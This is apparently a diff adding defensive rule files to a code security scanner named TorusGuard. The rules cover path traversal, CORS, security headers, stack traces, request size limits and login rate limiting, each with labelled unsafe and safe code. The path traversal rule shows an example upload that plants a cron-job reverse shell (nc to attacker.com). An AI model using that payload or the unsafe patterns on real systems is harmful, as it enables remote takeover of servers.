  305. package/skills/torusguard/payload/rules/active/TG-INPUT-001-missing-server-validation.md +98 -0
  306. package/skills/torusguard/payload/rules/active/TG-INPUT-002-raw-sql-concatenation.md +94 -0
  307. package/skills/torusguard/payload/rules/active/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
  308. package/skills/torusguard/payload/rules/active/TG-INPUT-004-unrestricted-file-upload.md +92 -0
  309. package/skills/torusguard/payload/rules/active/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
  310. package/skills/torusguard/payload/rules/active/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
  311. package/skills/torusguard/payload/rules/active/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
  312. package/skills/torusguard/payload/rules/active/TG-PLATFORM-002-missing-security-headers.md +95 -0
  313. package/skills/torusguard/payload/rules/active/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
  314. package/skills/torusguard/payload/rules/active/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
  315. package/skills/torusguard/payload/rules/active/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
  316. package/skills/torusguard/payload/rules/active/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
  317. package/skills/torusguard/payload/rules/active/TG-RATE-003-unbounded-resource-consumption.md +105 -0
  318. package/skills/torusguard/payload/rules/active/TG-SEC-001-hardcoded-secrets.md +83 -0
  319. package/skills/torusguard/payload/rules/active/TG-SEC-002-public-environment-secrets.md +83 -0
  320. package/skills/torusguard/payload/rules/active/TG-SEC-003-tracked-env-file.md +79 -0
  321. package/skills/torusguard/payload/rules/active/TG-SEC-004-sensitive-logging.md +83 -0
  322. package/skills/torusguard/payload/rules/agent/TG-AGENT-001-prompt-injection-system-context.md +56 -0
  323. package/skills/torusguard/payload/rules/agent/TG-AGENT-002-unsafe-tool-dispatch-unsandboxed-execution.md +68 -0
  324. package/skills/torusguard/payload/rules/agent/TG-AGENT-003-broad-mcp-tool-scoping.md +53 -0
  325. package/skills/torusguard/payload/rules/agent/TG-AGENT-004-persistent-memory-cross-session-leakage.md +67 -0
  326. package/skills/torusguard/payload/rules/authorization/TG-AUTH-006-mass-assignment.md +70 -0
  327. package/skills/torusguard/payload/rules/authorization/TG-AUTH-007-missing-property-level-authorization.md +71 -0
  328. package/skills/torusguard/payload/rules/authorization/TG-AUTH-008-untrusted-role-header-injection.md +112 -0
  329. package/skills/torusguard/payload/rules/business-logic/TG-BIZ-001-client-controlled-sensitive-business-value.md +37 -0
  330. package/skills/torusguard/payload/rules/business-logic/TG-BIZ-002-replayable-one-time-operation.md +37 -0
  331. package/skills/torusguard/payload/rules/business-logic/TG-BIZ-003-missing-workflow-state-validation.md +37 -0
  332. package/skills/torusguard/payload/rules/business-logic/TG-BIZ-004-unrestricted-sensitive-business-flow.md +37 -0
  333. package/skills/torusguard/payload/rules/cache/TG-CACHE-001-sensitive-response-publicly-cacheable.md +37 -0
  334. package/skills/torusguard/payload/rules/cache/TG-CACHE-002-missing-user-cache-isolation.md +37 -0
  335. package/skills/torusguard/payload/rules/cache/TG-CACHE-003-sensitive-data-in-url.md +37 -0
  336. package/skills/torusguard/payload/rules/csrf/TG-CSRF-001-missing-csrf-protection.md +37 -0
  337. package/skills/torusguard/payload/rules/csrf/TG-CSRF-002-unsafe-credentialed-cross-origin-request.md +37 -0
  338. package/skills/torusguard/payload/rules/edge/TG-EDGE-001-serverless-global-state-leak.md +83 -0
  339. package/skills/torusguard/payload/rules/edge/TG-EDGE-003-aws-lambda-ephemeral-cold-start.md +76 -0
  340. package/skills/torusguard/payload/rules/graphql/TG-GQL-001-missing-query-depth-or-complexity-limits.md +64 -0
  341. package/skills/torusguard/payload/rules/graphql/TG-GQL-002-resolver-missing-authorization.md +37 -0
  342. package/skills/torusguard/payload/rules/graphql/TG-GQL-003-unbounded-graphql-pagination-or-batching.md +37 -0
  343. package/skills/torusguard/payload/rules/graphql/TG-GQL-004-unnecessary-production-introspection.md +37 -0
  344. package/skills/torusguard/payload/rules/secrets/TG-SEC-005-secret-in-git-history.md +37 -0
  345. package/skills/torusguard/payload/rules/secrets/TG-SEC-006-secret-in-build-artifact.md +37 -0
  346. package/skills/torusguard/payload/rules/secrets/TG-SEC-007-secret-in-test-or-example-fixture.md +37 -0
  347. package/skills/torusguard/payload/rules/ssrf/TG-SSRF-001-user-controlled-server-side-url-fetch.md +68 -0
  348. package/skills/torusguard/payload/rules/ssrf/TG-SSRF-002-missing-internal-network-protection.md +37 -0
  349. package/skills/torusguard/payload/rules/ssrf/TG-SSRF-003-unsafe-redirect-following.md +37 -0
  350. package/skills/torusguard/payload/rules/ssrf/TG-SSRF-004-unbounded-outbound-request.md +37 -0
  351. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-001-missing-or-ignored-dependency-lockfile.md +37 -0
  352. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-002-vulnerable-dependency-review-missing.md +94 -0
  353. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-003-unsafe-ci-cd-secret-exposure.md +37 -0
  354. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-004-unpinned-ci-action.md +37 -0
  355. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-005-unsafe-dependency-install-script.md +37 -0
  356. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-006-container-build-secret-persistence.md +61 -0
  357. package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-001-missing-webhook-signature-verification.md +37 -0
  358. package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-002-replayable-webhook.md +37 -0
  359. package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-003-missing-webhook-idempotency.md +37 -0
  360. package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-004-unvalidated-webhook-event-type.md +37 -0
  361. package/skills/torusguard/payload/rules/websocket/TG-WS-001-unauthenticated-websocket-handshake.md +82 -0
  362. package/skills/torusguard/payload/rules/websocket/TG-WS-002-missing-channel-level-authorization.md +37 -0
  363. package/skills/torusguard/payload/rules/websocket/TG-WS-003-unvalidated-websocket-message.md +37 -0
  364. package/skills/torusguard/payload/rules/websocket/TG-WS-004-unbounded-websocket-connections.md +37 -0
  365. package/skills/torusguard/payload/scripts/apply_runner.py +332 -0
  366. package/skills/torusguard/payload/scripts/audit_runner.py +550 -0
  367. package/skills/torusguard/payload/scripts/diff_guard.py +52 -4
  368. package/skills/torusguard/payload/scripts/finding_scorer.py +58 -0
  369. package/skills/torusguard/payload/scripts/harden_runner.py +353 -0
  370. package/skills/torusguard/payload/scripts/html_reporter.py +25 -10
  371. package/skills/torusguard/payload/scripts/manifest_builder.py +2 -0
  372. package/skills/torusguard/payload/scripts/memory_engine.py +4 -0
  373. package/skills/torusguard/payload/scripts/recheck_runner.py +221 -0
  374. package/skills/torusguard/payload/scripts/recipes_runner.py +130 -0
  375. package/skills/torusguard/payload/scripts/run_manager.py +17 -5
  376. package/skills/torusguard/payload/skills/torusguard/SKILL.md +42 -42
  377. package/skills/torusguard/payload/skills/torusguard/bootstrap.py +147 -68
@@ -0,0 +1,131 @@
1
+ ---
2
+ id: TG-INPUT-006
3
+ title: Path Traversal and Unsafe Upload Storage
4
+ category: file-upload-handling
5
+ severity: Critical
6
+ confidence: Confirmed
7
+ frameworks:
8
+ - django
9
+ - flask
10
+ - fastapi
11
+ cwe: CWE-22
12
+ asvs_v4: V12.1.1
13
+ nist_ssdf: PW.5.1
14
+ ---
15
+
16
+ # TG-INPUT-006: Path Traversal and Unsafe Upload Storage
17
+
18
+ ## 🚨 Problem Statement
19
+ Concatenating untrusted user input directly into file system paths without canonicalization or validation allows attackers to traverse directory boundaries (e.g., `../../etc/passwd`) and read or overwrite arbitrary files on the host system.
20
+
21
+ > **Tuning Guardrails (v0.5.6):**
22
+ > - **DO NOT treat** every `os.path.join()` as path traversal.
23
+ > - **ESCALATE** when untrusted filename/path input reaches file path construction or storage without canonicalization, allowlisting, sanitization (e.g., `secure_filename`), or safe generated naming.
24
+ > - **RECOGNIZE** project-approved filename normalization wrappers where evidence exists.
25
+
26
+ ---
27
+
28
+ ## 💥 Adversarial Threat & Exploitation
29
+ An attacker uploads a file with a relative path payload:
30
+ ```http
31
+ POST /upload HTTP/1.1
32
+ Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/malicious_job"
33
+
34
+ * * * * * root /bin/nc -e /bin/sh attacker.com 4444
35
+ ```
36
+ If the server performs `open(os.path.join(UPLOAD_DIR, file.filename), "wb")`, the file is written to `/etc/cron.d/`, resulting in arbitrary Remote Code Execution (RCE) on the host.
37
+
38
+ ---
39
+
40
+ ## 🛠️ Framework-Native Remediations
41
+
42
+ ### 🐍 Flask (Werkzeug `secure_filename` + UUID Prefix)
43
+
44
+ #### ❌ Unsafe Pattern
45
+ ```python
46
+ # Unsafe: Raw client filename in os.path.join
47
+ @app.route("/upload", methods=["POST"])
48
+ def upload():
49
+ file = request.files["file"]
50
+ filepath = os.path.join(UPLOAD_FOLDER, file.filename)
51
+ file.save(filepath)
52
+ ```
53
+
54
+ #### ✅ Safe Remediation
55
+ ```python
56
+ # Safe: Sanitize with secure_filename and generate a random UUID prefix
57
+ import uuid
58
+ from werkzeug.utils import secure_filename
59
+
60
+ ALLOWED_EXTENSIONS = {".png", ".jpg", ".jpeg", ".pdf"}
61
+
62
+ @app.route("/upload", methods=["POST"])
63
+ def upload():
64
+ file = request.files.get("file")
65
+ if not file:
66
+ return {"error": "No file"}, 400
67
+
68
+ filename = secure_filename(file.filename)
69
+ ext = os.path.splitext(filename)[1].lower()
70
+
71
+ if ext not in ALLOWED_EXTENSIONS:
72
+ return {"error": "Invalid file type"}, 400
73
+
74
+ safe_name = f"{uuid.uuid4().hex}_{filename}"
75
+ filepath = os.path.join(UPLOAD_FOLDER, safe_name)
76
+ file.save(filepath)
77
+ return {"status": "uploaded", "file_id": safe_name}
78
+ ```
79
+
80
+ ---
81
+
82
+ ### 🐍 FastAPI (`UploadFile` & Safe Path Construction)
83
+
84
+ #### ❌ Unsafe Pattern
85
+ ```python
86
+ # Unsafe: Direct path join with upload.filename
87
+ @app.post("/upload")
88
+ async def upload_file(file: UploadFile = File(...)):
89
+ dest = Path("/var/uploads") / file.filename
90
+ with open(dest, "wb") as f:
91
+ f.write(await file.read())
92
+ ```
93
+
94
+ #### ✅ Safe Remediation
95
+ ```python
96
+ # Safe: Whitelist extensions and store using generated UUIDs
97
+ import uuid
98
+ from pathlib import Path
99
+ from fastapi import FastAPI, UploadFile, File, HTTPException
100
+
101
+ UPLOAD_DIR = Path("/var/uploads").resolve()
102
+ ALLOWED_EXT = {".png", ".jpg", ".pdf"}
103
+
104
+ @app.post("/upload")
105
+ async def upload_file(file: UploadFile = File(...)):
106
+ ext = Path(file.filename).suffix.lower()
107
+ if ext not in ALLOWED_EXT:
108
+ raise HTTPException(status_code=400, detail="Disallowed file extension")
109
+
110
+ safe_filename = f"{uuid.uuid4().hex}{ext}"
111
+ destination = (UPLOAD_DIR / safe_filename).resolve()
112
+
113
+ # Assert destination stays within UPLOAD_DIR
114
+ if not str(destination).startswith(str(UPLOAD_DIR)):
115
+ raise HTTPException(status_code=400, detail="Path traversal detected")
116
+
117
+ content = await file.read(10 * 1024 * 1024) # Cap size to 10MB
118
+ with open(destination, "wb") as buffer:
119
+ buffer.write(content)
120
+
121
+ return {"file_id": safe_filename}
122
+ ```
123
+
124
+ ---
125
+
126
+ ## 🧪 Verification & Reproduction
127
+ 1. Test with traversal filename:
128
+ ```bash
129
+ curl -F "file=@test.txt;filename=../../evil.txt" http://localhost:5000/upload
130
+ ```
131
+ 2. **Assertion:** Request must reject with `400 Bad Request` or save strictly inside upload directory as a sanitized UUID without directory traversal.
@@ -0,0 +1,101 @@
1
+ # TG-PLATFORM-001: Wildcard CORS With Credentials
2
+
3
+ ## Severity
4
+
5
+ High
6
+
7
+ ## Applies To
8
+
9
+ - API servers configuring CORS headers
10
+ - Express/Fastify/Nest middleware using `cors()` defaults
11
+ - Reverse proxies and gateways injecting `Access-Control-*` headers
12
+ - Session or cookie-authenticated APIs consumed by browsers
13
+ - Multi-tenant APIs with dynamic origin reflection logic
14
+
15
+ ## Why It Matters
16
+
17
+ Credentialed cross-origin requests require strict origin controls.
18
+ Using wildcard origins with credentials breaks browser security guarantees.
19
+ Misconfigurations can expose authenticated responses to untrusted origins.
20
+ Even partial origin reflection bugs can create cross-site data leakage.
21
+ This often appears as a simple config mistake with severe impact.
22
+
23
+ ## What TorusGuard Looks For
24
+
25
+ - `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true`
26
+ - CORS middleware configured with `origin: true` without allowlist validation
27
+ - Reflecting any incoming `Origin` header directly back in responses
28
+ - Missing per-environment allowlists for trusted frontends
29
+ - Inconsistent preflight handling between gateway and application
30
+ - Session-cookie APIs that allow broad or dynamic untrusted origins
31
+
32
+ ## Unsafe Example
33
+
34
+ ```ts
35
+ import cors from "cors";
36
+
37
+ app.use(cors({
38
+ origin: "*",
39
+ credentials: true
40
+ }));
41
+ ```
42
+
43
+ ```ts
44
+ app.use((req, res, next) => {
45
+ res.setHeader("Access-Control-Allow-Origin", req.headers.origin || "*");
46
+ res.setHeader("Access-Control-Allow-Credentials", "true");
47
+ next();
48
+ });
49
+ ```
50
+
51
+ ## Safe Example
52
+
53
+ ```ts
54
+ import cors from "cors";
55
+
56
+ const allowedOrigins = new Set([
57
+ "https://app.example.com",
58
+ "https://admin.example.com"
59
+ ]);
60
+
61
+ app.use(cors({
62
+ origin(origin, cb) {
63
+ if (!origin) return cb(null, true);
64
+ if (allowedOrigins.has(origin)) return cb(null, true);
65
+ return cb(new Error("Origin not allowed"));
66
+ },
67
+ credentials: true
68
+ }));
69
+ ```
70
+
71
+ ## Remediation
72
+
73
+ 1. Remove wildcard origins from any credentialed CORS configuration.
74
+ 2. Build explicit allowlists for known trusted web origins per environment.
75
+ 3. Validate dynamic origin logic against exact matches, not substring checks.
76
+ 4. Keep gateway and app-layer CORS behavior consistent and documented.
77
+ 5. Restrict allowed methods and headers to required minimums.
78
+ 6. Add tests for preflight and credentialed fetches from trusted/untrusted origins.
79
+ 7. Monitor rejected origins to detect probing and config drift.
80
+ 8. Reassess CORS when adding new frontend domains or auth mechanisms.
81
+
82
+ ## Verification
83
+
84
+ - Send credentialed requests from allowed and disallowed origins; verify behavior.
85
+ - Confirm responses never include `*` with credentials enabled.
86
+ - Validate preflight responses include only expected methods/headers.
87
+ - Test browser behavior with real `fetch(..., { credentials: "include" })`.
88
+ - Review gateway response headers in production, not just local dev.
89
+
90
+ ## False Positives and Exceptions
91
+
92
+ - Non-browser clients where CORS headers are irrelevant to access control
93
+ - Public, fully unauthenticated read-only APIs not using credentials
94
+ - Local development permissive origins, if isolated from production configs
95
+ - Strictly internal tools with network isolation and documented risk acceptance
96
+
97
+ ## Related Rules
98
+
99
+ - `TG-AUTH-004-insecure-session-cookie.md`
100
+ - `TG-AUTH-002-client-only-authorization.md`
101
+ - `TG-PLATFORM-002-missing-security-headers.md`
@@ -0,0 +1,95 @@
1
+ # TG-PLATFORM-002: Missing Security Headers
2
+
3
+ ## Severity
4
+
5
+ Medium
6
+
7
+ ## Applies To
8
+
9
+ - Node/Express/Nest/Fastify web apps serving browser traffic
10
+ - Reverse proxies and CDN layers terminating TLS
11
+ - SSR frontends and static sites with custom response headers
12
+ - APIs returning HTML, login pages, docs portals, or admin consoles
13
+ - Deployments expected to enforce baseline browser hardening
14
+
15
+ ## Why It Matters
16
+
17
+ Security headers reduce exploitability of common web attack classes.
18
+ Missing headers increase risk from XSS, clickjacking, protocol downgrade, and data leakage.
19
+ Headers are not complete protection, but are critical platform defense-in-depth.
20
+ Gaps often appear during framework migrations or proxy reconfiguration.
21
+ A weak default posture compounds impact of unrelated code bugs.
22
+
23
+ ## What TorusGuard Looks For
24
+
25
+ - Absent or weak `Content-Security-Policy` on HTML responses
26
+ - Missing `Strict-Transport-Security` on HTTPS production domains
27
+ - Missing `X-Frame-Options` or equivalent `frame-ancestors` directive
28
+ - Missing `X-Content-Type-Options: nosniff`
29
+ - No `Referrer-Policy` or overly permissive values
30
+ - Express apps not using Helmet (or equivalent explicit header strategy)
31
+
32
+ ## Unsafe Example
33
+
34
+ ```ts
35
+ import express from "express";
36
+ const app = express();
37
+
38
+ app.get("/", (_req, res) => {
39
+ res.sendFile("index.html");
40
+ });
41
+ ```
42
+
43
+ ## Safe Example
44
+
45
+ ```ts
46
+ import express from "express";
47
+ import helmet from "helmet";
48
+
49
+ const app = express();
50
+
51
+ app.use(helmet({
52
+ contentSecurityPolicy: {
53
+ directives: {
54
+ defaultSrc: ["'self'"],
55
+ scriptSrc: ["'self'"],
56
+ objectSrc: ["'none'"],
57
+ frameAncestors: ["'none'"],
58
+ upgradeInsecureRequests: []
59
+ }
60
+ },
61
+ hsts: { maxAge: 31536000, includeSubDomains: true, preload: true }
62
+ }));
63
+ ```
64
+
65
+ ## Remediation
66
+
67
+ 1. Define a minimum security header baseline for all browser-facing responses.
68
+ 2. Enable `helmet` (or equivalent) and customize CSP for app-specific needs.
69
+ 3. Enforce HSTS only on HTTPS production domains with rollout planning.
70
+ 4. Add `X-Content-Type-Options`, frame protections, and sane referrer policy.
71
+ 5. Move inline scripts/styles to nonce/hash-based CSP-compatible patterns.
72
+ 6. Validate header behavior at proxy/CDN and app layers to avoid overwrites.
73
+ 7. Add automated tests or synthetic checks for required headers per route type.
74
+ 8. Document approved exceptions for legacy integrations and review periodically.
75
+
76
+ ## Verification
77
+
78
+ - Inspect response headers on HTML routes in production.
79
+ - Confirm CSP blocks inline/eval behavior unless explicitly allowed.
80
+ - Validate HSTS appears only on HTTPS and matches intended max-age/preload policy.
81
+ - Test clickjacking protections with iframe embedding attempts.
82
+ - Run security scanner checks and verify no regressions after deploy.
83
+
84
+ ## False Positives and Exceptions
85
+
86
+ - Pure JSON internal APIs not rendered in browsers (still consider baseline headers)
87
+ - Development environments where CSP is relaxed for hot reload tooling
88
+ - Legacy pages requiring transitional CSP policies during migration windows
89
+ - Routes intentionally embeddable by trusted partners with explicit frame policy docs
90
+
91
+ ## Related Rules
92
+
93
+ - `TG-PLATFORM-001-wildcard-cors-with-credentials.md`
94
+ - `TG-PLATFORM-003-production-stack-trace-exposure.md`
95
+ - `TG-INPUT-003-unsafe-html-or-code-execution.md`
@@ -0,0 +1,94 @@
1
+ # TG-PLATFORM-003: Production Stack Trace Exposure
2
+
3
+ ## Severity
4
+
5
+ Medium
6
+
7
+ ## Applies To
8
+
9
+ - API error handlers and exception middleware
10
+ - SSR frameworks rendering error pages
11
+ - Reverse proxies returning upstream crash output
12
+ - Serverless functions with default runtime error responses
13
+ - Any production system handling untrusted request input
14
+
15
+ ## Why It Matters
16
+
17
+ Verbose errors leak internal details useful to attackers.
18
+ Stack traces can expose file paths, package versions, SQL snippets, and infrastructure hints.
19
+ These details speed exploitation and reduce attacker guesswork.
20
+ Operationally, noisy error disclosures also increase user confusion.
21
+ Secure systems return minimal client-facing errors while preserving server-side diagnostics.
22
+
23
+ ## What TorusGuard Looks For
24
+
25
+ - `res.status(500).send(err.stack)` or equivalent direct stack output
26
+ - Framework debug mode enabled in production (`NODE_ENV` misconfiguration)
27
+ - Error pages rendering exception messages and traces to all users
28
+ - Serialized internal exception objects returned in JSON responses
29
+ - Unhandled promise rejections bubbling raw runtime traces to clients
30
+ - Proxy settings forwarding upstream debug bodies externally
31
+
32
+ ## Unsafe Example
33
+
34
+ ```ts
35
+ app.use((err, _req, res, _next) => {
36
+ console.error(err);
37
+ res.status(500).json({
38
+ message: err.message,
39
+ stack: err.stack,
40
+ details: err
41
+ });
42
+ });
43
+ ```
44
+
45
+ ## Safe Example
46
+
47
+ ```ts
48
+ app.use((err, req, res, _next) => {
49
+ logger.error({
50
+ path: req.path,
51
+ method: req.method,
52
+ errorName: err.name,
53
+ message: err.message,
54
+ stack: err.stack
55
+ });
56
+
57
+ res.status(500).json({
58
+ error: "Internal server error",
59
+ requestId: req.id
60
+ });
61
+ });
62
+ ```
63
+
64
+ ## Remediation
65
+
66
+ 1. Implement centralized error handling that returns generic client messages.
67
+ 2. Log full diagnostics server-side only, including correlation IDs.
68
+ 3. Disable framework debug/error overlays in production builds.
69
+ 4. Normalize known operational errors to safe, minimal response schemas.
70
+ 5. Ensure proxies and serverless gateways do not leak upstream traces.
71
+ 6. Add secure defaults for unhandled rejections and uncaught exceptions.
72
+ 7. Review third-party middleware for verbose error serialization behavior.
73
+ 8. Include incident drill checks for accidental debug-mode deployment.
74
+
75
+ ## Verification
76
+
77
+ - Trigger representative 500 errors and inspect client responses for leakage.
78
+ - Confirm stack traces appear in structured logs, not in API bodies.
79
+ - Validate production config disables debug pages/overlays.
80
+ - Test SSR routes and static error pages for internal path/version exposure.
81
+ - Run dynamic scans searching for stack signatures in responses.
82
+
83
+ ## False Positives and Exceptions
84
+
85
+ - Authenticated internal observability endpoints restricted to operators
86
+ - Short-lived canary diagnostics behind strict access controls
87
+ - Non-production environments clearly isolated from public traffic
88
+ - Sanitized error messages that include only non-sensitive validation metadata
89
+
90
+ ## Related Rules
91
+
92
+ - `TG-PLATFORM-002-missing-security-headers.md`
93
+ - `TG-INPUT-001-missing-server-validation.md`
94
+ - `TG-SEC-004-sensitive-logging.md`
@@ -0,0 +1,102 @@
1
+ # TG-PLATFORM-004: Missing Request Size Limits
2
+
3
+ ## Severity
4
+
5
+ Medium
6
+
7
+ ## Applies To
8
+
9
+ - JSON body parsers in API servers
10
+ - Multipart upload handlers (`multer`, `busboy`, `formidable`)
11
+ - Reverse proxies and gateways handling inbound body buffering
12
+ - GraphQL endpoints accepting deeply nested or large payloads
13
+ - Webhook endpoints receiving internet-originated request bodies
14
+
15
+ ## Why It Matters
16
+
17
+ Unlimited request body size enables straightforward resource exhaustion.
18
+ Attackers can submit oversized payloads to consume memory, CPU, and I/O.
19
+ Large bodies also amplify parser overhead before business logic runs.
20
+ This can degrade service availability and increase infrastructure cost.
21
+ Body limits are a foundational availability control.
22
+
23
+ ## What TorusGuard Looks For
24
+
25
+ - `express.json()` or equivalent parser used without `limit`
26
+ - Multipart middleware configured without `fileSize`/part-count constraints
27
+ - Reverse proxy body size defaults left unconfigured for production
28
+ - Endpoints accepting large payloads without authentication or quotas
29
+ - Missing early rejection behavior (`413 Payload Too Large`)
30
+ - No per-route differentiation (tiny webhook route shares unlimited global limits)
31
+
32
+ ## Unsafe Example
33
+
34
+ ```ts
35
+ import express from "express";
36
+ import multer from "multer";
37
+
38
+ const app = express();
39
+ const upload = multer(); // no limits
40
+
41
+ app.use(express.json()); // no limit
42
+ app.post("/api/upload", upload.single("file"), async (req, res) => {
43
+ await storeFile(req.file);
44
+ res.json({ ok: true });
45
+ });
46
+ ```
47
+
48
+ ## Safe Example
49
+
50
+ ```ts
51
+ import express from "express";
52
+ import multer from "multer";
53
+
54
+ const app = express();
55
+ const upload = multer({
56
+ limits: {
57
+ fileSize: 5 * 1024 * 1024,
58
+ files: 1,
59
+ fields: 20
60
+ }
61
+ });
62
+
63
+ app.use(express.json({ limit: "1mb" }));
64
+ app.use(express.urlencoded({ extended: false, limit: "256kb" }));
65
+
66
+ app.post("/api/upload", upload.single("file"), async (req, res) => {
67
+ await storeFile(req.file);
68
+ res.json({ ok: true });
69
+ });
70
+ ```
71
+
72
+ ## Remediation
73
+
74
+ 1. Set explicit global parser limits for JSON, form, and text payloads.
75
+ 2. Apply stricter route-level limits for sensitive or low-bandwidth endpoints.
76
+ 3. Configure multipart middleware with file size, file count, and field limits.
77
+ 4. Mirror limits at gateway/proxy layer for early rejection and cost control.
78
+ 5. Return consistent `413` responses and avoid expensive post-parse handling.
79
+ 6. Require auth and quotas for routes that legitimately need larger bodies.
80
+ 7. Add depth/complexity controls for GraphQL or nested JSON structures.
81
+ 8. Monitor rejected payload metrics and adjust limits based on observed traffic.
82
+
83
+ ## Verification
84
+
85
+ - Submit oversized JSON/form/multipart payloads and confirm `413` behavior.
86
+ - Verify limits are enforced consistently across app and edge layers.
87
+ - Confirm normal legitimate payloads still succeed.
88
+ - Stress-test endpoints to ensure parser memory remains bounded.
89
+ - Validate logs and metrics capture payload-limit rejections cleanly.
90
+
91
+ ## False Positives and Exceptions
92
+
93
+ - Internal batch ingestion endpoints on private networks with strict contracts
94
+ - Dedicated large-upload services with chunked protocols and isolated capacity
95
+ - Temporary migration windows requiring higher limits with compensating controls
96
+ - Routes where limits are enforced upstream and app parser never sees large bodies
97
+
98
+ ## Related Rules
99
+
100
+ - `TG-RATE-003-unbounded-resource-consumption.md`
101
+ - `TG-RATE-002-unlimited-public-write-endpoint.md`
102
+ - `TG-INPUT-004-unrestricted-file-upload.md`
@@ -0,0 +1,112 @@
1
+ # TG-RATE-001: Unlimited Authentication Endpoint
2
+
3
+ ## Severity
4
+
5
+ High
6
+
7
+ ## Applies To
8
+
9
+ - Login endpoints (`/login`, `/signin`, `/api/auth/login`)
10
+ - Password reset request endpoints
11
+ - OTP and magic-link request endpoints
12
+ - Token exchange and refresh endpoints exposed to internet clients
13
+
14
+ ## Why It Matters
15
+
16
+ Authentication surfaces are high-value brute-force targets.
17
+ Without request throttling, attackers can attempt large credential lists quickly.
18
+ Even with strong password hashing, unlimited retries can cause account takeover.
19
+ Unauthenticated auth endpoints are also cheap to hit from botnets.
20
+ Excessive failures can degrade performance and create noisy logs.
21
+ Credential stuffing campaigns usually start here before lateral abuse.
22
+
23
+ ## What TorusGuard Looks For
24
+
25
+ - Auth route handlers with no middleware or logic that tracks attempts
26
+ - No dependency usage for rate limiting (`express-rate-limit`, Redis counters, gateway policies)
27
+ - Missing per-identity or per-IP backoff decisions on failed auth
28
+ - Password reset or OTP endpoints callable repeatedly without cooldown
29
+ - Comments or TODOs that acknowledge rate limiting is not implemented
30
+ - Reverse proxy configs that do not define request limits for auth paths
31
+
32
+ ## Unsafe Example
33
+
34
+ ```ts
35
+ import express from "express";
36
+ import { verifyPassword } from "./auth";
37
+
38
+ const app = express();
39
+ app.use(express.json());
40
+
41
+ app.post("/api/auth/login", async (req, res) => {
42
+ const { email, password } = req.body;
43
+ const user = await db.user.findUnique({ where: { email } });
44
+
45
+ if (!user || !(await verifyPassword(password, user.passwordHash))) {
46
+ return res.status(401).json({ error: "Invalid credentials" });
47
+ }
48
+
49
+ return res.json({ token: signJwt({ sub: user.id }) });
50
+ });
51
+ ```
52
+
53
+ ## Safe Example
54
+
55
+ ```ts
56
+ import express from "express";
57
+ import rateLimit from "express-rate-limit";
58
+ import { verifyPassword } from "./auth";
59
+
60
+ const app = express();
61
+ app.use(express.json());
62
+
63
+ const authLimiter = rateLimit({
64
+ windowMs: 15 * 60 * 1000,
65
+ max: 10,
66
+ standardHeaders: true,
67
+ legacyHeaders: false,
68
+ message: { error: "Too many authentication attempts. Try later." }
69
+ });
70
+
71
+ app.post("/api/auth/login", authLimiter, async (req, res) => {
72
+ const { email, password } = req.body;
73
+ const user = await db.user.findUnique({ where: { email } });
74
+ if (!user || !(await verifyPassword(password, user.passwordHash))) {
75
+ return res.status(401).json({ error: "Invalid credentials" });
76
+ }
77
+ return res.json({ token: signJwt({ sub: user.id }) });
78
+ });
79
+ ```
80
+
81
+ ## Remediation
82
+
83
+ 1. Identify every internet-facing authentication and account-recovery endpoint.
84
+ 2. Apply a rate limiter at app, gateway, or CDN edge for those routes.
85
+ 3. Add tighter thresholds for auth than for generic API traffic.
86
+ 4. Layer controls: per-IP + per-account/email counters when possible.
87
+ 5. Introduce cooldown/backoff after repeated failures.
88
+ 6. Return uniform auth errors to avoid account enumeration.
89
+ 7. Ensure limits are distributed (Redis or gateway), not in-process only.
90
+ 8. Alert on sustained throttling spikes as potential credential-stuffing.
91
+
92
+ ## Verification
93
+
94
+ - Trigger more than allowed login failures from a single source and confirm `429`.
95
+ - Confirm `Retry-After` or equivalent response hints are present.
96
+ - Validate successful logins still work under normal user behavior.
97
+ - Verify limits apply to reset, OTP, and magic-link request endpoints too.
98
+ - Inspect deployment gateway/WAF config to ensure parity with app behavior.
99
+
100
+ ## False Positives and Exceptions
101
+
102
+ - Internal service-to-service auth endpoints behind private network controls only
103
+ - Endpoints already protected by managed API gateway quotas with strict scopes
104
+ - Staging environments used only in private CI where public traffic is impossible
105
+ - Temporary elevated limits during controlled load tests (must be time-boxed)
106
+
107
+ ## Related Rules
108
+
109
+ - `TG-AUTH-005-unsafe-password-reset.md`
110
+ - `TG-AUTH-001-weak-password-storage.md`
111
+ - `TG-RATE-002-unlimited-public-write-endpoint.md`
112
+ - `TG-RATE-003-unbounded-resource-consumption.md`